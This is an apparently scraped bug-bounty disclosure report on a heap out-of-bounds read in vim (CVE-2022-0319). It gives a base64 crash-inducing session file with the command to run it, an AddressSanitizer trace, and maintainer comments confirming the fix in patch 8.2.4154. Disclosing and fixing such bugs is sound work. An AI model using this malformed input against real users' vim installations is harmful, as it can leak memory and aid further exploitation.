Out-of-bounds Read in vim/vim

0

Valid Reported on Jan 18th 2022

Description

A heap-based OOB read of size 4 occurs when a user tries to open a vim session file specified below. This happens regardless of any command line options that could be specified to restrict vim, such -Z and -m. This bug has been found on default vim build (lastest commit hash `fd218c8a36e7ed33f7a205163690c5b7d2f31f8a`) on Ubuntu 20.04 for x86_64/amd64.

Proof of Concept

Here is the smallest poc we were able to produce (it is base64 encoded since it contains some unprintable characters):

```
$ echo -ne "CXdpMDAwMDAwMDA1MDAwMCA1MDAwMDAwMDAwMDAACiAgc2lsIW5vcm0ICAgICAg
eW9leHQgFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRsa25lCiAgc2lsIW5vcm0ICAgI9/f
MBYXGLJPKgNneXl5k/95eQEBAgEN/gb/3jABPQGEAQEBAT15eXl5eW1lpmUgZSsgeXlweXl5AXV
dXV1dXV1enUwdXV1dnV1" | base64 -d > poc
$ vim -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ':qa!'
==================================================================
==67807==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6210000
READ of size 4 at 0x621000016500 thread T0
    #0 0x7f4e10795f3f in __interceptor_memmove (/lib/x86_64-linux-gnu/libas
    #1 0x5612382d840a in vim_memsave /home/faraday/vim/src/alloc.c:604
    #2 0x561238d26031 in u_save_line /home/faraday/vim/src/undo.c:373
    #3 0x561238d4665c in u_saveline /home/faraday/vim/src/undo.c:3477
    #4 0x561238d25615 in u_save /home/faraday/vim/src/undo.c:257
    #5 0x561238d254a4 in u_save_cursor /home/faraday/vim/src/undo.c:237
    #6 0x5612388b83c5 in op_addsub /home/faraday/vim/src/ops.c:2386
    #7 0x561238858e66 in nv_addsub /home/faraday/vim/src/normal.c:2302
    #8 0x56123884f61f in normal_cmd /home/faraday/vim/src/normal.c:1120
    #9 0x5612385ac525 in exec_normal /home/faraday/vim/src/
    #10 0x5612385ac2e4 in exec_normal_cmd /home/faraday/vim/src/ex_docmd.c:
    #11 0x5612385ab802 in ex_normal /home/faraday/vim/src/ex_docmd.c:8519
```

```
    #11 0x5612385dbb02 in ex_normal /home/faraday/vim/src/ex_docmd.c:8519
    #12 0x56123856dd85 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2573
    #13 0x56123856170e in do_cmdline /home/faraday/vim/src/ex_docmd.c:993
    #14 0x561238addf98 in do_source /home/faraday/vim/src/scriptfile.c:1512
    #15 0x561238adaf75 in cmd_source /home/faraday/vim/src/scriptfile.c:109
    #16 0x561238adb132 in ex_source /home/faraday/vim/src/scriptfile.c:1124
    #17 0x56123856dd85 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2573
    #18 0x56123856170e in do_cmdline /home/faraday/vim/src/ex_docmd.c:993
    #19 0x56123855f288 in do_cmdline_cmd /home/faraday/vim/src/ex_docmd.c:5
    #20 0x56123905a82d in exe_commands /home/faraday/vim/src/main.c:3091
    #21 0x56123904c323 in vim_main2 /home/faraday/vim/src/main.c:774
    #22 0x56123904b809 in main /home/faraday/vim/src/main.c:426
    #23 0x7f4e0ed440b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.
    #24 0x5612382d7cbd in _start (/home/faraday/vim/src/vim+0x1259cbd)

0x621000016500 is located 0 bytes to the right of 4096-byte region [0x62100
allocated by thread T0 here:
    #0 0x7f4e10802bc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc
    #1 0x5612382d817e in lalloc /home/faraday/vim/src/alloc.c:248
    #2 0x5612382d7f29 in alloc /home/faraday/vim/src/alloc.c:151
    #3 0x561239062c5c in mf_alloc_bhdr /home/faraday/vim/src/memfile.c:884
    #4 0x56123905f03c in mf_new /home/faraday/vim/src/memfile.c:376
    #5 0x5612387bbbda in ml_new_data /home/faraday/vim/src/memline.c:4077
    #6 0x561238798cc5 in ml_open /home/faraday/vim/src/memline.c:394
    #7 0x561238304457 in open_buffer /home/faraday/vim/src/buffer.c:185
    #8 0x561239059185 in create_windows /home/faraday/vim/src/main.c:2861
    #9 0x56123904c02e in vim_main2 /home/faraday/vim/src/main.c:705
    #10 0x56123904b809 in main /home/faraday/vim/src/main.c:426
    #11 0x7f4e0ed440b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.

SUMMARY: AddressSanitizer: heap-buffer-overflow (/lib/x86_64-linux-gnu/liba
Shadow bytes around the buggy address:
  0x0c427fffac50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fffac60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fffac70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fffac80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fffac90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c427fffaca0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fffacb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fffacc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fffacd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
```

```
  0x0c427fffface0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fffacf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):

  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==67807==ABORTING
```

Impact

This vulnerability is capable disclosing data and might lead to bypass protection mechanisms facilitating successful exploitation of other memory corruption vulnerabilities that may lead to code execution.

Acknowledgements

This bug was found by Octavio Gianatiempo (ogianatiempo@faradaysec.com) and Octavio Galland (ogalland@faradaysec.com) from Faraday Research Team.

CVE
CVE-2022-0319
(Published)

Vulnerability Type
CWE-125: Out-of-bounds Read

Severity
Medium (5.5)

Visibility
Public

Status
Fixed

Found by

octaviogalland
@octaviogalland
unranked

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 889 times.

We are processing your report and will contact the **vim** team within 24 hours. 10 months ago

We have contacted a member of the **vim** team and are waiting to hear back 10 months ago

Bram Moolenaar 10 months ago Maintainer

I normally build with -DABORT_ON_INTERNAL_ERROR and then it catches an ml_get error much earlier. I assume that when compiling without it Vim continues with the wrong line number and tries to access a line that does not exist.

Bram Moolenaar 10 months ago Maintainer

Compiling without -DABORT_ON_INTERNAL_ERROR I can reproduce the me
make a fix for the ml_get error, that also fixes the memory error.

Bram Moolenaar validated this vulnerability 10 months ago

octaviogalland has been awarded the disclosure bounty ✅

The fix bounty is now up for grabs

Bram Moolenaar 10 months ago Maintainer

Fixed in patch 8.2.4154

Bram Moolenaar marked this as fixed in 8.2 with commit 05b276 10 months ago

Bram Moolenaar has been awarded the fix bounty ✅

This vulnerability will not receive a CVE ❌

Sign in to join this conversation